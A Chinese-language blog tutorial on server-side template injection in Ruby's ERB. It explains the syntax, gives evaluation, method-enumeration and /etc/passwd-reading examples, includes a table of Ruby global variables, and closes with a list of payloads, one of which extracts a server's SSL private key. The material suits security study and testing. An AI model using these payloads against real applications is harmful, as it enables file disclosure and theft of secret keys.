文章封面:Ruby的ERB模板注入

Ruby的ERB模板注入

Ruby的ERB模板注入

基本语法

  • <%写逻辑脚本(Ruby语法)%>
  • <%=直接输出变量值或运算结果%>
1
2
3
4
5
6
7
8
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())

这样会输出5和4

如果x可控,即可实现常见的ssti

1
2
3
4
5
6
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())

还可以进行文件读取

1
2
3
4
5
6
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('/etc/passwd').read
puts erb_object.result(binding())

枚举当前类的可用方法

1
2
3
4
5
6
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())

ruby的全局变量

更准确的这个链接globals - Documentation for Ruby 2.4.0

Ruby全局变量中文释义
$!错误信息
$@错误发生的位置
$0正在执行的程序的名称
$&成功匹配的字符串
$/输入分隔符,默认为换行符
$\输出记录分隔符(print和IO)
$.上次读取的文件的当前输入行号
$; $-F默认字段分隔符
$,输入字符串分隔符,连接多个字符串时用到
$=不区分大小写
$~最后一次匹配数据
$`最后一个成功匹配的字符串左侧的字符串
$’最后一个成功匹配的字符串右侧的字符串
$+最后一个括号匹配内容
$1~$9各组匹配结果
$< ARGF命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin)
$>打印的默认输出
$_从输入设备中读取的最后一行
$* ARGV命令行参数
$$运行此脚本的Ruby的进程号
$?最后执行的子进程的状态
$: $-I加载的二进制模块(库)的路径
$“数组包含的需要加载的库的名字
$DEBUG $-d调试标志,由-d开关设置
$LOADED_FEATURES$“的别名
$FILENAME来自$<的当前输入文件
$LOAD_PATH$:
$stderr当前标准误差输出
$stdin当前标准输入
$stdout当前标准输出
$VERBOSE $-v详细标志,由-w或-v开关设置
$-0$/
$-a只读
$-i在in-place-edit模式下,此变量保存扩展名
NIL0本身
ENV当前环境变量
RUBY_VERSIONRuby版本
RUBY_RELEASE_DATE发布日期
RUBY_PLATFORM平台标识符

常用payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<%= 7 * 7 %>
<%= File.open(/etc/passwd).read %>
<%= self %>    //枚举该对象可用的属性及方法
<%= self.class.name %>   //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %>  //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>   //提取key值
使用 Hugo 构建
主题 StackJimmy 设计